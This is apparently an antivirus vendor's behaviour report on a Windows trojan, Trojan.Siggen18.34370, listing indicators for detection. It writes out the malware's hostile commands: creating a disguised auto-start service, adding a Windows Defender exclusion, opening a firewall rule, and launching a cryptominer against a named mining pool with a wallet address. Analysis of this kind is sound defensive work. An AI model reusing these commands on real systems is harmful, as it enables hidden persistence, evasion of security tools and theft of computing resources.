Trojan.Siggen18.34370

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\qkloeoqh] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\qkloeoqh] 'ImagePath' = '%WINDIR%\SysWOW64\qkloeoqh\twfcqjbk.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\qkloeoqh] 'ImagePath' = '%WINDIR%\SysWOW64\qkloeoqh\twfcqjbk.exe'

Creates the following services

'qkloeoqh' %WINDIR%\SysWOW64\qkloeoqh\twfcqjbk.exe /d"<Full path to file>"
'qkloeoqh' %WINDIR%\SysWOW64\qkloeoqh\twfcqjbk.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\qkloeoqh' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\twfcqjbk.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\twfcqjbk.exe to %WINDIR%\syswow64\qkloeoqh\twfcqjbk.exe

Deletes itself.

Network activity

Connects to

'sv####lfheim.top':443
'mx#######602.gslb.pphosted.com':25
'mx#######b01.gslb.pphosted.com':25
'mx###.##tsol.xion.oxcs.net':25
'mx#######d01.gslb.pphosted.com':25
'mx#######601.gslb.pphosted.com':25
'mx#######301.gslb.pphosted.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx#######a01.gslb.pphosted.com':25
'mx######91d01.pphosted.com':25
'mx######9c801.pphosted.com':25
'mx#######702.gslb.pphosted.com':25
'ba##########com.mail.protection.outlook.com':25
'mx##.###us-vadesecure.net':25
'pd.##.a.pvp.net':443
'mx#######501.gslb.pphosted.com':25
'mx.######mail.rediff.akadns.net':25
'mx#######001.gslb.pphosted.com':25
'mx#.###.#ailpod7-cph3.one.com':25
'ex####l.bigpond.com':25
'mx#.##lkomsa.net':25
'mx#######701.gslb.pphosted.com':25
'mx#######b02.gslb.pphosted.com':25
'mx#######.mail.am0.yahoodns.net':25
'mx###.comcast.net':25
'mx#######901.gslb.pphosted.com':25
'in#.#anadoo.es':25
'80.##.75.254':486
'mx#.#aver.com':25
'mx#.#anmail.net':25
'31.##.244.126':430
'31.##.244.82':430
'31.##.244.127':430
'80.#6.75.4':430
'31.##.244.128':430
'31.##.244.85':430
'google.com':80
'mx##.mail.com':25
'fa###ool.xyz':10060
'mx.#len.pl':25
'mx#.####497.c3s2.iphmx.com':25
'mx##.##il.icloud.com':25
'mx#.#ate.com':25
'st#####.choiceroutes.com':80
'ma###.gstboces.org':25
'mx#.###692-74.iphmx.com':25
'lu##est.com':80
'lo###.live.com':443
'mx#.###107-41.iphmx.com':25
'ma####.reddyice.com':25
'alt1.aspmx.l.google.com':25

TCP

HTTP GET requests

http://www.google.com/
http://lu##est.com/myip.json

HTTP POST requests

http://st#####.choiceroutes.com/viewer.php

Other

'sv####lfheim.top':443
'mx#.###.#ailpod7-cph3.one.com':25
'mx.######mail.rediff.akadns.net':25
'pd.##.a.pvp.net':443
'mx####.##il.gm0.yahoodns.net':25
'mx#######601.gslb.pphosted.com':25
'mx#######.mail.am0.yahoodns.net':25
'fa###ool.xyz':10060
'mx#.###107-41.iphmx.com':25
'mx#.###692-74.iphmx.com':25
'lo###.live.com':443
'mx#.####497.c3s2.iphmx.com':25
'in#.#anadoo.es':25
'31.##.244.85':430
'31.##.244.82':430
'80.#6.75.4':430
'31.##.244.128':430
'31.##.244.127':430
'31.##.244.126':430
'mx#.#anmail.net':25
'mx#.#aver.com':25
'80.##.75.254':486
'ba##########com.mail.protection.outlook.com':25
'alt1.aspmx.l.google.com':25

UDP

DNS ASK sv####lfheim.top
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK co##ast.com
DNS ASK mx###.comcast.net
DNS ASK co##ast.net
DNS ASK mx######9c801.pphosted.com
DNS ASK st###hafels.com
DNS ASK wm###nect.com
DNS ASK mx######91d01.pphosted.com
DNS ASK at#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ve##zon.net
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK th####sortium.co.uk
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK ot##.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK se###orp.com
DNS ASK ea###link.com
DNS ASK mx##.###us-vadesecure.net
DNS ASK pd.##.a.pvp.net
DNS ASK am###trade.com
DNS ASK ma###mac.com
DNS ASK ba##########com.mail.protection.outlook.com
DNS ASK ba###hughes.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ab##tt.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK cg#.com
DNS ASK mx#.##lkomsa.net
DNS ASK ex####l.bigpond.com
DNS ASK te###msa.net
DNS ASK bi##ond.com
DNS ASK mx#.###.#ailpod7-cph3.one.com
DNS ASK ts##b.se
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK re###fmail.com
DNS ASK to##iba.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK sd##e.org
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK jd##.com
DNS ASK mx###.##tsol.xion.oxcs.net
DNS ASK na##.com
DNS ASK mx##.##il.icloud.com
DNS ASK ic##ud.com
DNS ASK mx#.####497.c3s2.iphmx.com
DNS ASK wa##a.com
DNS ASK mx.#len.pl
DNS ASK o2.pl
DNS ASK mx##.mail.com
DNS ASK em##l.com
DNS ASK in#.#anadoo.es
DNS ASK mi##ail.com
DNS ASK google.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK mx#.#anmail.net
DNS ASK ha##ail.net
DNS ASK mx#.#aver.com
DNS ASK na##r.com
DNS ASK mx#.#ate.com
DNS ASK st#####.choiceroutes.com
DNS ASK gs###ces.org
DNS ASK ma###.gstboces.org
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK ad#.com
DNS ASK un##ed.com
DNS ASK mx#######602.gslb.pphosted.com
DNS ASK ua#.com
DNS ASK mx#######.mail.am0.yahoodns.net
DNS ASK ro##rs.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK ma####.reddyice.com
DNS ASK ki####ompson.com
DNS ASK re###ice.com
DNS ASK fa###ool.xyz
DNS ASK mx#.###107-41.iphmx.com
DNS ASK ci###fsalem.net
DNS ASK lo###.live.com
DNS ASK lu##est.com
DNS ASK mx#.###692-74.iphmx.com
DNS ASK ss###obal.com
DNS ASK ti###doors.com
DNS ASK alt1.aspmx.l.google.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\qkloeoqh\twfcqjbk.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qkloeoqh\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\twfcqjbk.exe" %WINDIR%\SysWOW64\qkloeoqh\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create qkloeoqh binPath= "%WINDIR%\SysWOW64\qkloeoqh\twfcqjbk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description qkloeoqh "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start qkloeoqh' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qkloeoqh\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\twfcqjbk.exe" %WINDIR%\SysWOW64\qkloeoqh\
'%WINDIR%\syswow64\sc.exe' create qkloeoqh binPath= "%WINDIR%\SysWOW64\qkloeoqh\twfcqjbk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description qkloeoqh "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start qkloeoqh
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial